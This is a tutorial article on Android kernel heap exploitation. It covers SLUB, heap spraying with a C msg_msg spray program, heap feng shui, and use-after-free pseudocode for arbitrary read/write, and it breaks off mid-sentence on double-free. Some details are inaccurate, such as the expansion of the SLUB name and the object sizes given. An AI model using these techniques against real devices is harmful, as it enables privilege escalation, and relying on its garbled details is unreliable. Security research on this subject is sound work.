Introduction to Android Kernel Heap Exploitation

Android’s security model heavily relies on the integrity of the Linux kernel. Vulnerabilities within the kernel, particularly those affecting heap memory management, can be catastrophic, leading to local privilege escalation or even full device compromise. This article delves into the intricate world of Android kernel heap exploitation, focusing on techniques to manipulate the kernel heap to craft powerful exploit primitives. Understanding how the kernel manages memory and how to influence its allocation patterns is fundamental for any advanced Android security researcher or exploit developer.

Kernel heap vulnerabilities often manifest as Use-After-Free (UAF), Double-Free, or various forms of heap overflows/underflows. Exploiting these requires a deep understanding of kernel allocators like SLUB (Slab Allocator for Unbounded Objects) and how different kernel objects are allocated and freed. The ultimate goal is often to achieve arbitrary kernel read/write capabilities, which can then be leveraged for privilege escalation.

Understanding Kernel Heap Management (SLUB)

The Linux kernel uses various memory allocators. For most kernel objects, the SLUB allocator is predominant. SLUB is designed for efficiency, allocating fixed-size chunks of memory from larger ‘slabs’. When an object is freed, its memory is returned to a freelist within its respective slab. Subsequent allocations of the same size might reuse this freed memory.

Key characteristics of SLUB relevant to exploitation:

• Cache-based allocation: Objects of the same size are allocated from specific caches (e.g., kmalloc-64, kmalloc-1024).
• Freelist management: Freed objects are placed on a per-CPU freelist.
• Coalescing: SLUB typically does not coalesce adjacent free chunks of memory, which can simplify heap grooming.

An attacker’s objective is often to control the contents of a freed chunk of memory before it is reallocated to another critical kernel object. This is where heap manipulation comes into play.

Heap Spraying and Feng Shui

Heap spraying and heap feng shui are core techniques for controlling the kernel heap layout. The goal is to predictably place attacker-controlled data or specific kernel objects into memory locations that become vulnerable due to a bug.

Heap Spraying

Heap spraying involves allocating a large number of objects of a specific size to fill up memory caches. This increases the probability that a subsequent allocation will land in a desired, previously freed, location. In the kernel, this can be done by creating many instances of a specific kernel object (e.g., through system calls or creating multiple network sockets). For example, if we have a UAF bug on a kmalloc-64 object, we might spray many msg_msg or pipe_buffer objects (which are kmalloc-64) to occupy the freed slot.

#include <stdio.h>#include <stdlib.h>#include <string.h>#include <sys/ipc.h>#include <sys/msg.h>struct msg_buf {    long mtype;    char mtext[48]; // Max 48 bytes for kmalloc-64 chunk};int main() {    int qid;    struct msg_buf msg;    msg.mtype = 1;    memset(msg.mtext, 0x41, sizeof(msg.mtext)); // Fill with 'A's    // Create a message queue    qid = msgget(IPC_PRIVATE, 0644 | IPC_CREAT);    if (qid == -1) {        perror("msgget");        return 1;    }    // Spray the heap with msg_msg objects    for (int i = 0; i < 1000; i++) { // Spray 1000 messages        if (msgsnd(qid, &msg, sizeof(msg.mtext), 0) == -1) {            perror("msgsnd");            // handle error, possibly delete queue            break;        }    }    printf("Heap spraying complete. Messages sent to queue %dn", qid);    // ... Free the vulnerable object here ...    // Trigger reallocation with controlled data ...    // For demonstration, no cleanup here, in real exploit qid would be stored    return 0;}

Heap Feng Shui

Heap feng shui is a more precise technique. It aims to meticulously groom the heap by allocating and freeing objects in a specific sequence to achieve a desired memory layout. This might involve:

• Allocating ‘guard’ objects around a target object to prevent consolidation.
• Freeing the target object.
• Allocating a different type of object of the same size to ‘occupy’ the freed slot with attacker-controlled data.

For instance, to exploit a Use-After-Free (UAF) on a `struct task_struct` (a large object), one might free the vulnerable task, then quickly reallocate a series of `pipe_buffer` objects or `msg_msg` objects of a suitable size to reclaim its memory with arbitrary data. If the `task_struct` was, for example, kmalloc-2048, you’d look for kernel objects that fit into that size cache.

Crafting Read/Write Primitives with Heap Vulnerabilities

The ultimate goal of many kernel heap exploits is to gain arbitrary kernel read/write capabilities. This is often achieved by corrupting metadata or pointers within a reallocated object.

Use-After-Free (UAF)

A UAF occurs when a pointer to an object is used after the object has been freed. If an attacker can control the contents of the freed memory before it’s reallocated to another object, they can turn this into a powerful primitive.

Consider a UAF on a network socket structure. If a socket object is freed, and then reclaimed by an attacker-controlled buffer (e.g., a `msg_msg` buffer), the attacker can manipulate fields like function pointers or data pointers within the reallocated buffer. When the original (now dangling) pointer is used, it will access the attacker-controlled data.

// Simplified UAF scenario to gain arbitrary read/write// Vulnerable object freedvulnerable_object_free(vulnerable_obj_ptr);// Attacker sprays to reclaim the memory for vulnerable_obj_ptr// e.g., using msg_msg or pipe_buffer to fill the freed slot// with attacker-controlled data that mimics a kernel object's structure// The controlled data contains forged pointers (e.g., function pointers, data pointers)// Later, a legitimate kernel operation uses vulnerable_obj_ptr (now pointing to attacker-controlled data)// This can lead to arbitrary code execution (if a function pointer is overwritten)// or arbitrary read/write (if a data pointer is overwritten to point to an arbitrary kernel address)

Double-Free

A double-free vulnerability allows an attacker to free the same memory block twice. This can lead to the memory block being added to the freelist multiple times. When the block is subsequently reallocated, two different allocations might point to the same physical memory. This